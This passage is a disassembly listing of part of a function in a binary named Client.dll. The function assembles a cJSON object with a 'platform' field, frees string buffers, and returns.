mov ecx, dword [ebp - 0x558]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10004940
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004d1a
push edx
push ecx
call fcn.1001f82e
add esp, 8
push 2
xor eax, eax
mov dword [ebp - 0x548], 0
push 0x10056718
lea ecx, [ebp - 0x558]
mov dword [ebp - 0x544], 7
mov word [ebp - 0x558], ax
call fcn.10001a40
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x540]
push 8
push str.platform
mov dword [ebp - 0x530], 0
mov dword [ebp - 0x52c], 0xf
mov byte [ebp - 0x540], 0
call fcn.10001570
lea eax, [ebp - 0x558]
mov byte [ebp - 4], 0x27
push eax
lea eax, [ebp - 0x540]
push eax
lea ecx, [ebp - 0x5d4]
call fcn.1000b440
mov byte [ebp - 4], 0x26
mov edx, dword [ebp - 0x52c]
cmp edx, 0x10
jb 0x10004a05
mov ecx, dword [ebp - 0x540]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100049fb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004d1f
push edx
push ecx
call fcn.1001f82e
add esp, 8
mov byte [ebp - 4], 0x18
mov edx, dword [ebp - 0x544]
cmp edx, 8
jb 0x10004a49
mov ecx, dword [ebp - 0x558]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10004a3f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004d24
push edx
push ecx
call fcn.1001f82e
add esp, 8
push 3
push 0x1005672c
lea ecx, [ebp - 0x540]
mov dword [ebp - 0x530], 0
mov dword [ebp - 0x52c], 0xf
mov byte [ebp - 0x540], 0
call fcn.10001570
push 0x10114884
lea eax, [ebp - 0x540]
mov byte [ebp - 4], 0x28
push eax
lea ecx, [ebp - 0x5d4]
call fcn.1000b440
mov byte [ebp - 4], 0x18
mov edx, dword [ebp - 0x52c]
cmp edx, 0x10
jb 0x10004acf
mov ecx, dword [ebp - 0x540]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10004ac5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004d29
push edx
push ecx
call fcn.1001f82e
add esp, 8
lea eax, [ebp - 0x588]
push eax
lea ecx, [ebp - 0x5d4]
call fcn.1000b3a0
mov byte [ebp - 4], 0x29
cmp dword [eax + 0x14], 0x10
jb 0x10004aed
mov eax, dword [eax]
mov ecx, dword [ebp - 0x5f0]
push eax
push dword [ebp - 0x5ec]
call fcn.10009b30
mov byte [ebp - 4], 0x18
mov edx, dword [ebp - 0x574]
cmp edx, 0x10
jb 0x10004b3d
mov ecx, dword [ebp - 0x588]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10004b33
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004d2e
push edx
push ecx
call fcn.1001f82e
add esp, 8
mov byte [ebp - 4], 0x17
mov edx, dword [ebp - 0x58c]
mov dword [ebp - 0x578], 0
mov dword [ebp - 0x574], 0xf
mov byte [ebp - 0x588], 0
cmp edx, 0x10
jb 0x10004b96
mov ecx, dword [ebp - 0x5a0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10004b8c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004d33
push edx
push ecx
call fcn.1001f82e
add esp, 8
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x5a4]
mov dword [ebp - 0x590], 0
mov dword [ebp - 0x58c], 0xf
mov byte [ebp - 0x5a0], 0
cmp edx, 0x10
jb 0x10004bef
mov ecx, dword [ebp - 0x5b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10004be5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004d38
push edx
push ecx
call fcn.1001f82e
add esp, 8
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x5bc]
mov dword [ebp - 0x5a8], 0
mov dword [ebp - 0x5a4], 0xf
mov byte [ebp - 0x5b8], 0
cmp edx, 8
jb 0x10004c4e
mov ecx, dword [ebp - 0x5d0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10004c44
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004d3d
push edx
push ecx
call fcn.1001f82e
add esp, 8
xor eax, eax
mov dword [ebp - 0x5c0], 0
mov dword [ebp - 0x5bc], 7
mov word [ebp - 0x5d0], ax
mov dword [ebp - 4], 0x2a
push dword [ebp - 0x5d4]
call sym.Client.dll__cJSON_Delete_4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1001f7ed
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
int3